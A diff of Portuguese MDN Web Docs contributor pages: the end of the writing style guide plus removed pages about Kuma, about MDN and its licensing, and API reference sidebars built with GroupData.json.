To present documentation in an organized, standardized, and easy-to-read manner, the MDN Web Docs style guide describes how text should be organized, spelled, formatted, and so on. These are guidelines rather than strict rules. We are more interested in content than formatting, so don't feel obligated to learn the style guide before contributing. Do not be upset or surprised, however, if an industrious volunteer later edits your work to conform to this guide.

+ +

If you're looking for specifics of how a given type of page should be structured, see the MDN page layout guide.

+ +

The language aspects of this guide apply primarily to English-language documentation. Other languages may have (and are welcome to create) style guides. These should be published as subpages of the localization team's page.

+ +

For style standards that apply to content written for sites other than MDN, refer to the One Mozilla style guide.

+ +

Básico

+ +

The best place to start in any extensive publishing style guide is with some very basic text standards to help keep documentation consistent. The following sections outline some of these basics to help you.

+ +

Page titles

+ +

Page titles are used in search results and also used to structure the page hierarchy in the breadcrumb list at the top of the page. The page title (which is displayed at the top of the page and in the search results) can be different from the page "slug", which is the portion of the page's URL following "<locale>/docs/".

+ +

Title and heading capitalization

+ +

Page titles and section headings should use sentence-style capitalization (only capitalize the first word and proper nouns) rather than headline-style capitalization:

+ + + +

We have many older pages that were written before this style rule was established. Feel free to update them as needed if you like. We're gradually getting to them.

+ +

Choosing titles and slugs

+ +

Page slugs should be kept short; when creating a new level of hierarchy, the new level's component in the slug should just be a word or two.

+ +

Page titles, on the other hand, may be as long as you like, within reason, and they should be descriptive.

+ +

Creating new subtrees

+ +

When you need to add some articles about a topic or subject area, you will typically do so by creating a landing page, then adding subpages for each of the individual articles. The landing page should open with a paragraph or two describing the topic or technology, then provide a list of the subpages with descriptions of each page. You can automate the insertion of pages into the list using some macros we've created.

+ +

For example, consider the JavaScript guide, which is structured as follows:

+ + + +

Try to avoid putting your article at the top of the hierarchy, which slows the site down and makes search and site navigation less effective.

+ +

Sections, paragraphs, and newlines

+ +

Use heading levels in decreasing order: {{HTMLElement("h2")}} then {{HTMLElement("h3")}} then {{HTMLElement("h4")}}, without skipping levels. H2 is the highest level allowed because H1 is reserved for the page title. If you need more than three or four levels of headers you should consider breaking up the article into several smaller articles with a landing page, linking them together using the {{TemplateLink("Next")}}, {{TemplateLink("Previous")}}, and {{TemplateLink("PreviousNext")}} macros.

+ +

The Enter (or Return) key on your keyboard starts a new paragraph. To insert a newline without a space, hold down the Shift key while pressing Enter.

+ +

Don't create single subsections -- you don't subdivide a topic into one. It's either two subheadings or more or none at all. 

+ +

Don't have bumping heads, which are headings followed immediately by headings. Aside from looking horrible, it's helpful to readers if every heading has at least a brief intro after it to introduce the subsections beneath.

+ +

Listas

+ +

Lists should be written in a similar format across all contributions. Correct procedures should include suitable punctuation and sentence structure regardless of the list format. However dependent on the type of list you are writing, you must adjust your format accordingly. Refer to the documentation below to understand the differences of each.

+ +

Bulleted Lists

+ +

Bulleted lists should be used for grouping purposes to create concise but effective pieces of information. Each new piece of information must start with a '•' to signify a new piece. Bulleted lists must follow standard punctuation usage, pay attention to the use of full stops; they must be included at the end of each sentence just like standard writing practice.

+ +

An example of a correctly structured bulleted list:

+ +
+

In this example we should include:

+ + +
+ +

Note how the format remains the same from bullet to bullet. Create a bullet point, state a condition that has relevence to your indented topic and add some pausing punctuation in order to follow up the condition with a concise explanation.

+ +

Listas Numeradas

+ +

Instruction lists must follow suitable numbering and format. It is important to include these attributes as with instructions, being clear is a key priority. Create the list in a similar style to a bulleted list, however numbered or instruction lists can be extensive where necessary, meaning correct punctuation is vital as you will be forming complex sentences.

+ +

An example of a correctly structured numbered list:

+ +
+

In order for you to structure a correct numbered list you must:

+ +

1. Begin with creating an introductory heading to lead into the instructions. This way we can provide the user with context before beginning the instructions.

+ +

2. Start creating your instructions, listing your instructions with numbers. This is a standard format of a numbered list that is easily recognizable by the user. Your instructions may be quite extensive, so it is important to write effectively and use correct punctuation where necessary.

+ +

3. After you have finished your instructions, close off the numbered list with a brief explanation of the outcome upon completion.

+ +

This is an example of writing your closing explanation. We have created a short numbered list which provides instructive steps to produce a numbered list with the correct formatting. 

+
+ +

Numbered lists are almost exclusive for instructive purposes, so before writing consider your approach based on the context of the information you are trying to relay.  

+ +

Formatação e estilo do texto

+ +

Use the "Formatting Styles" drop-down list to apply predefined styles to selected content.

+ +
The "Note" style is used to call out important notes, like this one.
+ +
Similarly, the "Warning" style creates warning boxes like this.
+ +

Unless specifically instructed to do so, do not use the HTML style attribute to manually style content. If you can't do it using a predefined class, drop into {{IRCLink("mdn")}} and ask for help.

+ +

Code sample style and formatting

+ +

Tabs and line breaks

+ +

Use two spaces per tab in all code examples. Indent the code cleanly, with open-brace ("{") characters on the same line as the statement that opens the block. For example:

+ +
if (condition) {
+  /* handle the condition */
+} else {
+  /* handle the "else" case */
+}
+
+ +

Long lines shouldn't be allowed to stretch off horizontally to the extent that they require horizontal scrolling to read. Instead, break at natural breaking points. Some examples follow:

+ +
if (class.CONDITION || class.OTHER_CONDITION || class.SOME_OTHER_CONDITION
+       || class.YET_ANOTHER_CONDITION ) {
+  /* something */
+}
+
+var toolkitProfileService = Components.classes["@mozilla.org/toolkit/profile-service;1"]
+                           .createInstance(Components.interfaces.nsIToolkitProfileService);
+
+ +

Inline code formatting

+ +

Use the "Code" button (labeled with two angle brackets "<>") to apply inline code-style formatting to function names, variable names, and method names (this uses the {{HTMLElement("code")}} element). For example, "the frenchText() function".

+ +

Method names should be followed by a pair of parentheses: doSomethingUseful(). The parentheses help differentiate methods from other code terms.

+ +

Syntax highlighting

+ +

Screenshot of the 'Syntax Highlighter' menu.Entire lines (or multiple lines) of code should be formatted using syntax highlighting rather than the {{HTMLElement("code")}} element. Select the appropriate language from the language list button (the one with the two code blocks), as seen in the screenshot to the right. This will insert a preformatted code box with line numbers and syntax highlighting for the chosen language.

+ +

The following example shows text with JavaScript formatting:

+ +
+
for (var i = 0, j = 9; i <= 9; i++, j--)
+  document.writeln("a[" + i + "][" + j + "]= " + a[i][j]);
+
+ +

If no appropriate language is available, use ("No Highlight" in the language menu). This will result in code without syntax highlighting:

+ +
x = 42;
+ +

Syntax definitions

+ +

If you want to insert a syntax definition, you can choose the "Syntax Box" option from the "Styles" drop-down menu in the editor toolbar. This will give the syntax definition a special formatting distinguishing it from normal code.

+ +

Blocks not referring to code

+ +

There are a few use cases where a <pre> block does not refer to code and doesn't have syntax highlighting nor line numbers. In such cases you should add a <pre> without class. Those cases include things like tree structures:

+ +
root/
+
+    folder1/
+        file1
+
+    folder2/
+        file2
+        file3
+
+ +

To create preformatted content without syntax highlighting and line numbers click the "pre" button in the toolbar. Then start to type the text.

+ +

Styling HTML element references

+ +

There are specific rules to follow when writing about HTML elements. These rules produce consistent descriptions of elements and their components. They also ensure correct linking to detailed documentation.

+ +
+
Element names
+
Use the {{TemplateLink("HTMLElement")}} macro, which creates a link to the page for that element. For example, writing \{{HTMLElement("title")}} produces "{{HTMLElement("title")}}". If you don't want to create a link, enclose the name in angle brackets and use "Code (inline)" style (e.g., <title>).
+
Attribute names
+
Use bold face.
+
Attribute definitions
+
Use the {{TemplateLink("htmlattrdef")}} macro (e.g., \{{htmlattrdef("type")}}) for the definition term, so that it can be linked to from other pages, then use the {{TemplateLink("htmlattrxref")}} macro (e.g., \{{htmlattrxref("attr","element")}}) to reference attribute definitions.
+
Attribute values
+
Use "Code (inline)" style, and do not use quotation marks around strings, unless needed by the syntax of a code sample. For example: When the type attribute of an <input> element is set to email or tel ...
+
Labeling attributes
+
Use labels like {{HTMLVersionInline(5)}} thoughtfully. For example, use them next to the bold attribute name but not for every occurrence in your body text.
+
+ +

Latin abbreviations

+ +

In notes and parentheses

+ + + +

In running text

+ + + +

Meanings and English equivalents of Latin abbreviations

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
AbbrevLatinEnglish
cf.confercompare
e.g.exempli gratiafor example
et al.et aliiand others
etc.et ceteraand so forth, and so on
i.e.id estthat is, in other words
N.B.nota benenote well
P.S.post scriptumpostscript
+ +
+

Always consider whether it's truly beneficial to use a Latin abbreviation. Some of these are used so rarely that many readers won't understand the meaning, and others are often confused with one another. And be sure that you use them correctly, if you choose to do so. For example, be careful not to confuse "e.g." with "i.e.", which is a common error.

+
+ +

Acronyms and abbreviations

+ +

Capitalization and periods

+ +

Use full capitals and delete periods in all acronyms and abbreviations, including organizations such as "US" and "UN".

+ + + +

Expansion

+ +

On the first mention of a term on a page, expand acronyms likely to be unfamiliar to users. When in doubt, expand it, or, better, link it to the article or glossary entry describing the technology.

+ + + +

Plurals of acronyms and abbreviations

+ +

For plurals of acronyms or abbreviations, add s. Don't use an apostrophe. Ever. Please.

+ + + +

"Versus", "vs.", and "v."

+ +

The contraction "vs." is preferred.

+ + + +

Capitalização

+ +

Use standard English capitalization rules in body text, and capitalize "World Wide Web." It is acceptable to use lower case for "web" (used alone or as a modifier) and "internet;" this guideline is a change from a previous version of this guide, so you may find many instances of "Web" and "Internet" on MDN.  Feel free to change these as you are making other changes, but editing an article just to change capitalization is not necessary.

+ +

Keyboard keys should use sentence-style capitalization, not all-caps capitalization. For example, "Enter" not "ENTER."

+ +

Contrações

+ +

Our writing style tends to be casual, so you should feel free to use contractions (e.g., "don't", "can't", "shouldn't") if you prefer.

+ +

Pluralização

+ +

Use English-style plurals, not the Latin- or Greek-influenced forms.

+ + + +

Hifenização

+ +

Hyphenate compounds when the last letter of the prefix is a vowel and is the same as the first letter of the root.

+ + + +

Idioma de género neutral

+ +

It is a good idea to use gender-neutral language in any writing where gender is irrelevant to the subject matter, to make the text as inclusive as possible. So for example, if you are talking about the actions of a specific man, usage of he/his would be fine, but if the subject is a person of either gender, he/his isn't appropriate.
+
+ Let's take the following example:

+ +
+

A confirmation dialog appears, asking the user if he allows the Web page to make use of his Web cam.

+
+ +
+

A confirmation dialog appears, asking the user if she allows the Web page to make use of her Web cam.

+
+ +

Both versions are gender-specific. To fix this, use gender-neutral pronouns:

+ +
+

A confirmation dialog appears, asking the user if they allow the Web page to make use of their Web cam.

+
+ +
+

MDN allows the use of this very common syntax (which is controversial among usage authorities), to make up for the lack of a neutral gender in English. The use of the third-person plural as a gender neutral pronoun (that is, using "they," them", "their," and "theirs") is an accepted practice, commonly known as "singular 'they.'"

+
+ +

You can use both genders:

+ +
+

A confirmation dialog appears, asking the user if he or she allows the web page to make use of his/her web cam.

+
+ +

making the users plural:

+ +
+

A confirmation dialog appears, asking the users if they allow the web page to make use of their web cams.

+
+ +

The best solution, of course, is to rewrite and eliminate the pronouns:

+ +
+

A confirmation dialog appears, requesting the user's permission for web cam access.

+
+ +
+

A confirmation dialog box appears, which asks the user for permission to use the web cam.

+
+ +

The last way of dealing with the problem is arguably better, as it is not only grammatically more correct but removes some of the complexity associated with dealing with genders across different languages that may have wildly varying gender rules. This solution can make translation easier for both readers and localizers.

+ +

Numbers and numerals

+ +

Dates

+ +

For dates (not including dates in code samples) use the format "January 1, 1990".

+ + + +

Alternately, you can use the YYYY/MM/DD format.

+ + + +

Decades

+ +

For decades, use the format "1990s". Don't use an apostrophe.

+ + + +

Plurals of numerals

+ +

For plurals of numerals add "s". Don't use an apostrophe.

+ + + +

Commas

+ +

In running text, use commas only in five-digit and larger numbers.

+ + + +

Punctuation

+ +

Serial comma

+ +

Use the serial comma. The serial (also known as "Oxford") comma is the comma that appears before the conjunction in a series of three or more items.

+ + + +
+

This is in contrast to the One Mozilla style guide, which specifies that the serial comma is not to be used. MDN is an exception to this rule.

+
+ +

Ortografia

+ +

For words with variant spellings, always use their American English spelling. In general, use the first entry at Dictionary.com, unless that entry is listed as a variant spelling or as being primarily used in a non-American form of English; for example, if you look up "honour", you find the phrase "Chiefly British" followed by a link to the American standard form, "honor". Do not use variant spellings.

+ + + +

Terminologia

+ +

Obsolete vs. deprecated

+ +

It's important to be clear about the difference between the terms obsolete and deprecated.

+ +
+
Obsolete
+
On MDN, the term obsolete marks an API or technology that is not only no longer recommended, but also no longer implemented in the browser. For Mozilla-specific technologies, the API is no longer implemented in Mozilla code; for Web standard technology, the API or feature is no longer supported by current, commonly-used browsers.
+
Deprecated
+
On MDN, the term deprecated marks an API or technology that is no longer recommended, but is still implemented and may still work. These technologies will in theory eventually become obsolete and be removed, so you should stop using them. For Mozilla-specific technologies, the API is still supported in Mozilla code; for Web standard technology, the API or feature has been removed or replaced in a recent version of the defining standard.
+
+ +

Elementos de HTML

+ +

Use "elements" to refer to HTML and XML elements, rather than "tags". In addition, they should almost always be wrapped in "<>", and should be in the {{HTMLElement("code")}} style. When you reference a given element for the first time in a section, you should use the {{TemplateLink("HTMLElement")}} macro to create a link to the documentation for the element (unless you're writing within that element's reference document page).

+ + + +

Parameters vs. arguments

+ +

The preferred term on MDN is parameters. Please avoid the term "arguments" for consistency if at all possible.

+ +

User interface actions

+ +

In task sequences, describe user interface actions using the imperative mood. Identify the user interface element by its label and type.

+ + + +

Voice

+ +

While the active voice is preferred, the passive voice is also acceptable, given the informal feel of our content. Try to be consistent, though.

+ +

Wiki markup and usage

+ +

Hiperligações

+ +

Links are a large part of what makes a wiki a powerful learning and teaching tool. Below you'll find some basic information, but you can find a complete guide to creating and editing links on MDN in our editor guide.

+ +

We encourage you to create appropriate links among articles; they help improve navigation and discoverability of content. You can easily create links not only among pages on MDN (internal links) but also to pages outside MDN (external links).

+ +

There are two ways to create links: you explicitly create a link using the Link button in the editor's toolbar—or by pressing Ctrl+K (Cmd-K on the Mac)—or you can use MDN's powerful macro system to generate links automatically or based on an input value.

+ +

When deciding what text to use as a link, there are a few guidelines you can follow:

+ + + +

Esquemas de URL

+ +

For security reasons, you should only create links that use the following schemes:

+ + + +

Others may or may not work, but are not supported and will probably be removed by editorial staff.

+ +
+

In particular, be sure not to use the about: or chrome:// schemes, as they will not work. Similarly, the javascript: scheme is blocked by most modern browsers, as is jar:.

+
+ +

Etiquetas de página

+ +

Tags provide meta information about a page and/or indicate that a page has specific improvements needed to its content. Every page in the wiki should have tags. You can find details on tagging in our How to properly tag pages guide.

+ +

The tagging interface lives at the bottom of a page while you're in edit mode, and looks something like this:

+ +

Screenshot of the UX for adding and removing tags on MDN

+ +

To add a tag, click in the edit box at the end of the tag list and type the tag name you wish to add. Tags will autocomplete as you type. Press enter (or return) to submit the new tag. Each article may have as many tags as needed. For example, an article about using JavaScript in AJAX programming might have both "JavaScript" and "AJAX" as tags.

+ +

To remove a tag, just click the little "X" icon in the tag.

+ +

Tagging pages that need work

+ +

In addition to using tags to track information about the documentation's quality and content, we also use them to mark articles as needing specific types of work.

+ +

Tagging obsolete pages

+ +

Use the following tags for pages that are not current:

+ + + +

Resumo SEO

+ +

The SEO summary provides a short description of a page. It will be reported as a summary of the article to robots crawling the site, and will then appear in search results for the page. It is also used by macros that automate the construction of landing pages inside MDN itself.

+ +

By default, the first paragraph of the page is used as the SEO summary. However, you can override this behavior by marking a section with the "SEO summary" style in the WYSIWYG editor.

+ +

Landing pages

+ +

Landing pages are pages at the root of a topic area of the site, such as the main CSS or HTML pages. They have a standard format that consists of three areas:

+ +
    +
  1. A brief (typically one paragraph) overview of what the technology is and how it's used. See {{anch("Writing a landing page overview")}} for tips.
  2. +
  3. A two-column list of links with appropriate headings. See {{anch("Creating a page link list")}} for guidelines.
  4. +
  5. An optional "Browser compatibility" section at the bottom of the page.
  6. +
+ + + +

The link list section of an MDN landing page consists of two columns. These are created using the following HTML:

+ +
<div class="row topicpage-table">
+  <div class="section">
+    ... left column contents ...
+  </div>
+  <div class="section">
+    ... right column contents ...
+  </div>
+</div>
+ +

The left column should be a list of articles, with an <h2> header at the top of the left column explaining that it's a list of articles about the topic (e.g., "Documentation and tutorials about foo"); this header should use the CSS class "Documentation". Below that is a <dl> list of articles with each article's link in a <dt> block and a brief one-or-two sentence summary of the article in the corresponding <dd> block.

+ +

The right column should contain one or more of the following sections, in order:

+ +
+
Getting help from the community
+
This should provide information on Matrix chat rooms and mailing lists available on the topic. The heading should use the class "Community".
+
Tools
+
A list of tools the user can look at to help with the use of the technology described in this section of MDN. The heading should use the class "Tools".
+
Related topics
+
A list of links to landing pages for other, related, technologies of relevance. The heading should use the class "Related_Topics".
+
+ +

<<<finish this once we finalize the landing page standards>>>

+ +

Utilização, inserção de imagens

+ +

It's sometimes helpful to provide an image in an article you create or modify, especially if the article is very technical. To include an image:

+ +
    +
  1. Attach the desired image file to the article (at the bottom of every article in edit mode)
  2. +
  3. Create an image in the WYSIWYG editor
  4. +
  5. In the WYSIWYG editor, in the drop-down list of attachments, select the newly created attachment that is your image
  6. +
  7. Press OK.
  8. +
+ +

Outras referências

+ +

Preferred style guides

+ +

If you have questions about usage and style not covered here, we recommend referring to the Economist style guide or, failing that, the Chicago Manual of Style.

+ +

Preferred dictionary

+ +

For questions of spelling, please refer to Dictionary.com. The spelling checker for this site uses American English. Please do not use variant spellings (e.g., use color rather than colour).

+ +

We will be expanding the guide over time, so if you have specific questions that aren't covered in this document, please send them to the MDC mailing list or project lead so we know what should be added.

+ +

Específico da MDN

+ + + +

Idioma, gramática, ortografia

+ +

If you're interested in improving your writing and editing skills, you may find the following resources to be helpful.

+ + diff --git a/files/pt-pt/mdn/kuma/index.html b/files/pt-pt/mdn/kuma/index.html deleted file mode 100644 index 3ffc29d8b6..0000000000 --- a/files/pt-pt/mdn/kuma/index.html +++ /dev/null @@ -1,24 +0,0 @@ ---- -title: 'Kuma: Plataforma wiki da MDN' -slug: MDN/Kuma -tags: - - Kuma - - MDN Meta - - Metadados MDN -translation_of: MDN/Kuma ---- -
{{MDNSidebar}}{{IncludeSubnav("/pt-PT/docs/MDN")}}
- -

Kuma é o código Django que é utilizado para os 'Documentos da Web na MDN'.

- -

{{SubpagesWithSummaries}}

- -

Participe na plataforma Kuma

- -

Para participar na plataforma Kuma:

- - diff --git a/files/pt-pt/mdn/sobre/index.html b/files/pt-pt/mdn/sobre/index.html deleted file mode 100644 index 1da67e04e5..0000000000 --- a/files/pt-pt/mdn/sobre/index.html +++ /dev/null @@ -1,127 +0,0 @@ ---- -title: Sobre a MDN -slug: MDN/Sobre -tags: - - Colaboração - - Comunidade - - Direitos de Autor - - Documentação - - Guía - - Licenças - - Metadados da MDN -translation_of: MDN/About ---- -
{{MDNSidebar}}
- -
{{IncludeSubnav("/pt-PT/docs/MDN")}}
- -

MDN Web Docs é uma plataforma de aprendizagem em evolução para as tecnologias da Web e software que energiza a Web, incluindo:

- - - -

A nossa missão

- - - -

A missão da MDN é simples: proporcionar aos programadores a informação que eles precisam para criarem facilmente projetos na Web aberta. Se é uma tecnologia aberta exposta à Web, nós queremos documentá-la.

- -

Além disso, nós proporcionamos documentação sobre os produtos Mozilla e como criar e contribuir para os projetos da Mozilla.

- -

Se não tiver a certeza se um tópico em particular deve ser abrangido na MDN, leia: Isso pertence ao MDN?

- - - -

Como é que pode ajudar

- - - -

Não precisa de ser capaz de programar - ou escrever bem - para poder ajudar a MDN! Nós temos muitas maneiras em que pode ajudar, desde rever artigos para ter a certeza de que fazem sentido, para contribuir com texto, para adicionar código de exemplo. De facto, existem muitas maneiras de ajudar que nós temos uma página de Primeiros Passos que o ajuda a escolher as tarefas para fazer, com base nos seus interesses e quanto tempo é que tem para contribuir!

- -

Também pode ajudar a promover a MDN no seu próprio blogue ou site da Web.

- - - -

A comunidade da MDN

- -

Nossa comunidade é global! Temos colaboradores incríveis em todo o mundo, em vários idiomas. Se você quiser saber mais sobre nós, ou se precisar de ajuda de qualquer tipo com o MDN, fique à vontade para visitar nosso fórum de discussão ou canal de IRC! Você também pode acompanhar o que estamos fazendo seguindo nossa conta no Twitter, @MozDevNet. Você também pode enviar tweets para nós, se você vir algo errado ou se você gostaria de oferecer feedback (ou quiser nos agradecer) aos nossos escritores e colaboradores!

- -

Utilizar conteúdo da MDN Web Docs

- -

O conteúdo da MDN está disponível gratuitamente, e sob as licenças de código aberto.

- -

Direitos de Autor e Licenças

- -

O conteúdo da MDN está totalmente disponível sob várias licenças de código aberto. Esta secção cobre os tipos de conteúdo que nós proporcionamos e quais as licenças em vigor para cada.

- -

Documentação e artigos

- -

MDN wiki documents have been prepared with the contributions of many authors, both within and outside the Mozilla Foundation. Unless otherwise indicated, the content is available under the terms of the Creative Commons Attribution-ShareAlike license (CC-BY-SA), v2.5 or any later version. Please attribute "Mozilla Contributors" and include a hyperlink (online) or URL (in print) to the specific wiki page for the content being sourced. For example, to provide attribution for this article, you can write:

- -
Sobre a MDN, pelos Colaboradores da Mozilla (inglês) está licenciado sob CC-BY-SA 2.5.
- -

Note that in the example, "Mozilla Contributors" links to the history of the cited page. See Best practices for attribution (EN) for further explanation.

- -
-

Nota: consulte o conteúdo da MDN em WebPlatform.org para informação sobre como reutilizar e atribuir conteúdo MDN nesse site.

-
- -

Code samples and snippets

- -

Code samples added to this wiki before August 20, 2010 are available under the MIT license; you should insert the following attribution information into the MIT template: "© <date of last wiki page revision> <name of person who put it in the wiki>".

- -

Code samples added on or after August 20, 2010 are in the public domain. No licensing notice is necessary, but if you need one, you can use: "Any copyright is dedicated to the Public Domain. http://creativecommons.org/publicdomain/zero/1.0/".

- -

Contribuições

- -

If you wish to contribute to this wiki, you must make your documentation available under the Attribution-ShareAlike license (or occasionally an alternative license already specified by the page you are editing), and your code samples available under Creative Commons CC-0 (a Public Domain dedication). Adding to this wiki means you agree that your contributions will be made available under those licenses.

- -

Some older content was made available under a license other than the licenses noted above; these are indicated at the bottom of each page by way of an Alternate License Block.

- -
-

Não podem ser criadas novas páginas utilizando licenças alternativas.

-
- -

Os direitos de autor para os materiais contribuídos permanecem com o autor, a menos que o mesmo o atribua a outra pessoa.

- -

Se tiver quaisquer questões relacionadas ou problemas sobre qualquer coisa aqui discutida, por favor, contacte Eric Shepherd.

- -

Logótipo, marcas registadas, marcas de serviço e wordmarks

- -
-

The rights in the trademarks, logos, service marks of the Mozilla Foundation, as well as the look and feel of this web site, are not licensed under the Creative Commons license, and to the extent they are works of authorship (like logos and graphic design), they are not included in the work that is licensed under those terms. If you use the text of documents, and wish to also use any of these rights, or if you have any other questions about complying with our licensing terms for this collection, you should contact the Mozilla Foundation here: licensing@mozilla.org.

- -

Interligação com a MDN

- -

See this article for guidance on linking to MDN for best practices when linking.

- -

Transferência de conteúdo

- -

Pode transferir um tarball mirror completo da MDN. (2.1GB, em fevereiro de 2017)

- -

Páginas únicas

- -

You can retrieve the content of a single page on MDN by adding document parameters to the URL to specify what format you want.

- -

Ferramentas de terceiros

- -

You can view MDN content via third-party tools like Dash (for Mac OS) and Zeal (for Linux and Windows).

- -

Kapeli also publishes offline MDN docs covering HTML, CSS, JavaScript, SVG, and XSLT.

- -

Comunicação de problemas com MDN Web Docs

- -

Consultar "Como comunicar um problema na MDN".

- -

Histórico da MDN Web Docs

- -

MDN Web Docs (anteriormente Mozilla Developer Network (MDN), anteriormente projeto da Mozilla Developer Center (MDC), a.k.a. Devmo) começou no início de 2005, quando a Fundação Mozilla (inglês) obteve a licença da AOL para utilizar o conteúdo DevEdge original do Netscape. O conteúdo DevEdge foi minado para o material ainda útil, que foi migrado por voluntários para esta wiki, e assim esta seria mais fácil para atualizar e manter.

- -

Pode encontrar mais história da MDN na nossa página de celebração do 10º. aniversário, incluindo uma história verbal por algumas das pessoas que estiverem envolvidas.

- -

Sobre a Mozilla

- -

Se quer saber mais sobre quem somos, como fazer parte da Mozilla ou apenas onde nos encontrar, veio ao lugar certo. Para descobrir o que nos impulsiona e nos torna diferentes, visite a nossa página da missão.

diff --git a/files/pt-pt/mdn/structures/api_references/barras_laterais_de_referencia_da_api/index.html b/files/pt-pt/mdn/structures/api_references/barras_laterais_de_referencia_da_api/index.html deleted file mode 100644 index 8e28e33556..0000000000 --- a/files/pt-pt/mdn/structures/api_references/barras_laterais_de_referencia_da_api/index.html +++ /dev/null @@ -1,109 +0,0 @@ ---- -title: Barras laterais de referência da API -slug: MDN/Structures/API_references/Barras_laterais_de_referencia_da_API -tags: - - API - - Guía - - Referencia - - barras laterais - - groupdata - - onboarding -translation_of: MDN/Structures/API_references/API_reference_sidebars ---- -
{{MDNSidebar}}

Pode incluir uma barra lateral personalizada nas páginas de referência da API para exibir as hiperligações para as 'Interfaces' relacionadas, tutoriais, e outros recursos relevantes, apenas para essa API. Este artigo explica como.

- -

O que precisa de fazer?

- -

You need to take the following three steps to create your API sidebar:

- -
    -
  1. Create your API reference pages.
  2. -
  3. Add an entry for your particular API into the KumaScript repo's GroupData.json data file.
  4. -
  5. Use the \{{APIRef}} macro to insert the sidebar into each page you want to display it on.
  6. -
- -

Let's run through each of these steps in turn. The example we'll refer to in this article is the Fetch API.

- -

Criar páginas de referência da sua API

- -

Before you can add sidebars to your pages, you'll need to create the pages themselves (see our What does an API reference need? guide for more guidance).

- -

Adicionar uma entrada para GroupData.json

- -

The GroupData.json file holds all the data relating to what links should appear in API reference sidebars. When invoked, the \{{APIRef}} macro takes an API name given to it as a parameter, looks up that name in GroupData.json, builds a sidebar as appropriate, and inserts it in the page.

- -

To add an entry to GroupData.json, you need to:

- -
    -
  1. Make sure you have a GitHub account.
  2. -
  3. Fork the KumaScript repo, create a new branch to contain your changes, and clone the repo locally.
  4. -
  5. Checkout your new branch before starting work, and make sure you push changes to it after finishing.
  6. -
  7. Create a pull request so that the MDN team can review your work, and ask for changes if necessary.
  8. -
- -

If you need help with using GitHub, a more detailed guide can be found at our compatibility tables guide.

- -

The GroupData.json file can be found inside the macros directory of the KumaScript repo. Looking at it, you'll see a giant JSON structure, with each API having its own member. The name is the API name, and the value is an object containing several submembers defining the sidebar links to be created.

- -

For example, look at the Fetch API page on MDN. The corresponding entry in GroupData.json looks like this:

- -
"Fetch API": {
-    "overview":   [ "Fetch API"],
-    "interfaces": [ "Body",
-                    "Headers",
-                    "Request",
-                    "Response",
-                    "FetchController",
-                    "FetchObserver",
-                    "FetchSignal",
-                    "ObserverCallback" ],
-    "methods":    [ "WindowOrWorkerGlobalScope.fetch()" ],
-    "properties": [],
-    "events":     []
-},
- -

As you can see, we've used "Fetch API" for the name, and inside the object value we include a number of submembers.

- -

Submembers to include inside a GroupData entry

- -

This section lists all the submembers you could include in a GroupData entry.

- -

Note that Most of the values included inside the listed submembers equate to both the link text, and slugs appended to the end of the main API index page —  https://developer.mozilla.org/<language-code>/docs/Web/API — to create the final URL for the displayed link. So for example, "Body" will result in a link being created like so in the en-US locale:

- -
<li><a href="https://developer.mozilla.org/en-US/docs/Web/API">Body</a></li>
- -

There are a few exceptions. For example the "guides" submember contains one or more sets of link information (title and slug) that defines links to associated guides/tutorials. In this case the slugs are appended to the end of the MDN docs root — https://developer.mozilla.org/<language-code>/docs — allowing an article anywhere on MDN to be included.

- -

Here are the available members. In each case, an example is included that assumes that the local is en-US.

- -
    -
  1. -

    "overview" — the value is an array, inside of which you include the slug of the API overview page, if there is one. "Fetch API" results in a link being made to https://developer.mozilla.org/en-US/docs/Web/API/Fetch_API.

    -
  2. -
  3. -

    "interfaces" — the value is an array in which you should list all of the interfaces that form part of that API. "Body" results in a link being made to https://developer.mozilla.org/en-US/docs/Web/API/Body.

    -
  4. -
  5. -

    "methods" — the value is an array that should contain all of the methods associated with the API. This can include methods that are members of interfaces defined in the API spec, and methods the API defines on other interfaces. If there are a huge number of methods, you might want to consider only listing the most popular ones, or putting them first in the list. "WindowOrWorkerGlobalScope.fetch()" results in a link being made to https://developer.mozilla.org/en-US/docs/Web/API/WindowOrWorkerGlobalScope/fetch.

    -
  6. -
  7. -

    "properties" — the value is an array that should contain all of the properties associated with the API. This can include properties that are members of interfaces defined in the API spec, and properties the API defines on other interfaces. If there are a huge number of properties, you might want to consider only listing the most popular ones, or putting them first in the list. "Headers.append" results in a link being made to https://developer.mozilla.org/en-US/docs/Web/API/Headers/append.

    -
  8. -
  9. -

    "events" — the value is an array that should contain all of the events associated with the API, defined in the API spec, or elsewhere. If there are a huge number of events, you might want to consider only listing the most popular ones, or putting them first in the list. "animationstart" results in a link being made to https://developer.mozilla.org/en-US/docs/Web/Events/animationstart.

    -
  10. -
  11. -

    "guides" — the value is an array containing one or more objects that define links to guides explain how to use the API. Each object contains two submembers — "url", which contains the partial URL pointing to the guide article, and "title", which defines the link test for the link. As an example, the following object:

    - -
    { "url":   "/docs/Web/API/Detecting_device_orientation",
    -"title": "Detecting device orientation" }
    - -

    Creates a link with the title "Detecting device orientation", which points to https://developer.mozilla.org/en-US/docs/Web/API/Detecting_device_orientation.

    -
  12. -
- -

Inserir a barra lateral nas suas páginas

- -

Once you've added an entry for your API into GroupData.json, submitted it as a pull request and had the change accepted into the main repo, you can include it in your API reference pages using the \{{APIRef}} macro, which takes the name you used for your API in GroupData as a parameter. As an example, the WebVR API's sidebar is included in its pages with the following:

- -

\{{APIRef("WebVR API")}}

diff --git a/files/pt-pt/mdn/structures/api_references/index.html b/files/pt-pt/mdn/structures/api_references/index.html deleted file mode 100644 index a7a7b21004..0000000000 --- a/files/pt-pt/mdn/structures/api_references/index.html +++ /dev/null @@ -1,58 +0,0 @@ ---- -title: API references -slug: MDN/Structures/API_references -tags: - - API - - Contribute - - Guide - - NeedsTranslation - - Reference - - TopicStub -translation_of: MDN/Structures/API_references ---- -
{{MDNSidebar}}
{{IncludeSubnav("/en-US/docs/MDN")}}
- -

Client-side JavaScript APIs form a large part of the technology available on the web, and MDN includes extensive reference material to explain what functionality is available in these APIs, and how to use it. In this set of guides we explain how to create API reference material on MDN.

- -

Prerequisite resources

- -

Before starting to document an API, you should have available:

- -
    -
  1. The latest spec: Whether it is a W3C Recommendation or an early  editor's draft, you should refer to the latest available draft of the  spec that covers (or specs that cover) that API. To find it, you can usually do a Web search. The latest  version will often be linked to from all versions of the spec, listed under "latest draft" or similar.
  2. -
  3. The latest modern web browsers: These should be experimental/alpha builds such as Firefox Nightly/Chrome Canary that are more likely to support the features you are documenting. This is especially pertinent if you are documenting a nascent/experimental API.
  4. -
